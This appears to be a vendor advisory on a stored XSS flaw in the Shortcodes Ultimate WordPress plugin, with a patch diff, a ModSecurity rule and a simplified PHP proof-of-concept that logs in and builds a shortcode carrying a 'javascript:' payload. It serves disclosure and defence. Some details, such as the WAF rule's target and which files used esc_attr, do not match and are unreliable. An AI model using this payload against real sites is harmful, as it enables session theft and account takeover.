Atomic Edge analysis of CVE-2026-0738:
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Shortcodes Ultimate WordPress plugin. The issue affects the ‘su_carousel’ shortcode and related gallery components. Attackers with Contributor-level access or higher can inject malicious scripts that execute when other users view the compromised pages. The CVSS score of 6.4 reflects the moderate impact of this stored XSS vulnerability.
The root cause is insufficient output escaping for the ‘su_slide_link’ attachment meta field. The plugin’s shortcode rendering functions directly concatenate user-controlled link values into HTML anchor tags without proper URL validation. The vulnerable code resides in three files: ‘shortcodes-ultimate/includes/shortcodes/carousel.php’ line 220, ‘custom-gallery.php’ line 151, and ‘slider.php’ line 203. Each location uses the same flawed pattern where ‘$slide[‘link’]’ is inserted directly into the href attribute without escaping.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post containing the vulnerable shortcode. They inject a JavaScript payload via the ‘su_slide_link’ parameter within the shortcode attributes. For example, an attacker could use ‘javascript:alert(document.cookie)’ as the link value. When the post renders, the malicious script executes in the victim’s browser context, allowing session hijacking or administrative actions.
The patch replaces ‘esc_attr()’ with ‘esc_url()’ for the link parameter in all three affected files. The ‘esc_attr()’ function only escapes HTML attributes but does not validate URL schemes. The ‘esc_url()’ function properly sanitizes URLs by removing dangerous protocols and encoding special characters. This change prevents JavaScript and other dangerous schemes from being injected into href attributes. The plugin version also increments from 7.4.8 to 7.4.9 in ‘shortcodes-ultimate.php’.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users. This can lead to session cookie theft, account takeover, content manipulation, or administrative actions performed on behalf of victims. Since the XSS is stored, a single injection affects all users who view the compromised page. The Contributor+ access requirement limits the attack surface but still exposes sites with multiple content authors.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/shortcodes-ultimate/includes/shortcodes/carousel.php
+++ b/shortcodes-ultimate/includes/shortcodes/carousel.php
@@ -220,7 +220,7 @@
$return .= '<div class="su-carousel-slide">';
// Slide content with link
if ( $slide['link'] ) {
- $return .= '<a href="' . $slide['link'] . '"' . $target . ' title="' . esc_attr( $slide['title'] ) . '"><img src="' . $image['url'] . '" alt="' . esc_attr( $slide['title'] ) . '" />' . $title . '</a>';
+ $return .= '<a href="' . esc_url( $slide['link'] ) . '"' . $target . ' title="' . esc_attr( $slide['title'] ) . '"><img src="' . $image['url'] . '" alt="' . esc_attr( $slide['title'] ) . '" />' . $title . '</a>';
}
// Slide content without link
else {
--- a/shortcodes-ultimate/includes/shortcodes/custom-gallery.php
+++ b/shortcodes-ultimate/includes/shortcodes/custom-gallery.php
@@ -151,7 +151,7 @@
$return .= '<div class="su-custom-gallery-slide" style="width:' . $atts['width'] . 'px;height:' . $atts['height'] . 'px">';
// Slide content with link
if ( $slide['link'] ) {
- $return .= '<a href="' . esc_attr( $slide['link'] ) . '"' . $atts['target'] . ' title="' . esc_attr( $slide['title'] ) . '"><img src="' . $image['url'] . '" alt="' . esc_attr( $slide['title'] ) . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '" />' . $title . '</a>';
+ $return .= '<a href="' . esc_url( $slide['link'] ) . '"' . $atts['target'] . ' title="' . esc_attr( $slide['title'] ) . '"><img src="' . $image['url'] . '" alt="' . esc_attr( $slide['title'] ) . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '" />' . $title . '</a>';
}
// Slide content without link
else {
--- a/shortcodes-ultimate/includes/shortcodes/slider.php
+++ b/shortcodes-ultimate/includes/shortcodes/slider.php
@@ -203,7 +203,7 @@
$return .= '<div class="su-slider-slide">';
// Slide content with link
if ( $slide['link'] ) {
- $return .= '<a href="' . esc_attr( $slide['link'] ) . '" ' . $target . ' title="' . esc_attr( $slide['title'] ) . '"><img src="' . $image['url'] . '" alt="' . esc_attr( $slide['title'] ) . '" />' . $title . '</a>';
+ $return .= '<a href="' . esc_url( $slide['link'] ) . '" ' . $target . ' title="' . esc_attr( $slide['title'] ) . '"><img src="' . $image['url'] . '" alt="' . esc_attr( $slide['title'] ) . '" />' . $title . '</a>';
}
// Slide content without link
else {
--- a/shortcodes-ultimate/shortcodes-ultimate.php
+++ b/shortcodes-ultimate/shortcodes-ultimate.php
@@ -8,7 +8,7 @@
* Description: A comprehensive collection of visual components for WordPress
* Text Domain: shortcodes-ultimate
* License: GPLv3
- * Version: 7.4.8
+ * Version: 7.4.9
* Requires PHP: 5.4
* Requires at least: 5.0
* Tested up to: 6.9
@@ -63,6 +63,6 @@
}
}
define( 'SU_PLUGIN_FILE', __FILE__ );
- define( 'SU_PLUGIN_VERSION', '7.4.8' );
+ define( 'SU_PLUGIN_VERSION', '7.4.9' );
require_once dirname( __FILE__ ) . '/plugin.php';
}
No newline at end of file
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-0738
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:1000738,phase:2,deny,status:403,chain,msg:'CVE-2026-0738 via Shortcodes Ultimate AJAX',severity:'CRITICAL',tag:'CVE-2026-0738',tag:'WordPress',tag:'Plugin/Shortcodes-Ultimate',tag:'attack-xss'"
SecRule ARGS_POST:action "@rx ^(su|shortcodes)_" "chain"
SecRule ARGS_POST:su_slide_link "@rx ^javascript:"
"t:lowercase,t:urlDecodeUni,t:htmlEntityDecode,capture,setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0738 - Shortcodes Ultimate <= 7.4.8 - authenticated (Contributor+) Stored Cross-Site Scripting via 'su_carousel' Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to demonstrate XSS via javascript: protocol in href attribute
$payload = 'javascript:alert(document.domain)';
// Create a WordPress post with the malicious shortcode
$post_content = "[su_carousel source='media: recent' link='custom' su_slide_link='{$payload}']";
$post_title = 'Test Post with XSS';
// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);
// Step 2: Submit login credentials
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);
// Step 3: Create new post with malicious shortcode
$post_data = array(
'post_title' => $post_title,
'content' => $post_content,
'post_status' => 'publish',
'post_type' => 'post'
);
// Get nonce for post creation (simplified - actual implementation would parse admin page)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
// Note: Full PoC would extract nonce from post-new.php and submit via admin-ajax.php
// This simplified version demonstrates the vulnerable parameter construction
echo "Vulnerable shortcode constructed:n";
echo $post_content . "nn";
echo "When this post renders, the carousel slide link will execute: {$payload}n";
echo "Full exploitation requires proper nonce handling via WordPress AJAX endpoints.n";
curl_close($ch);
?>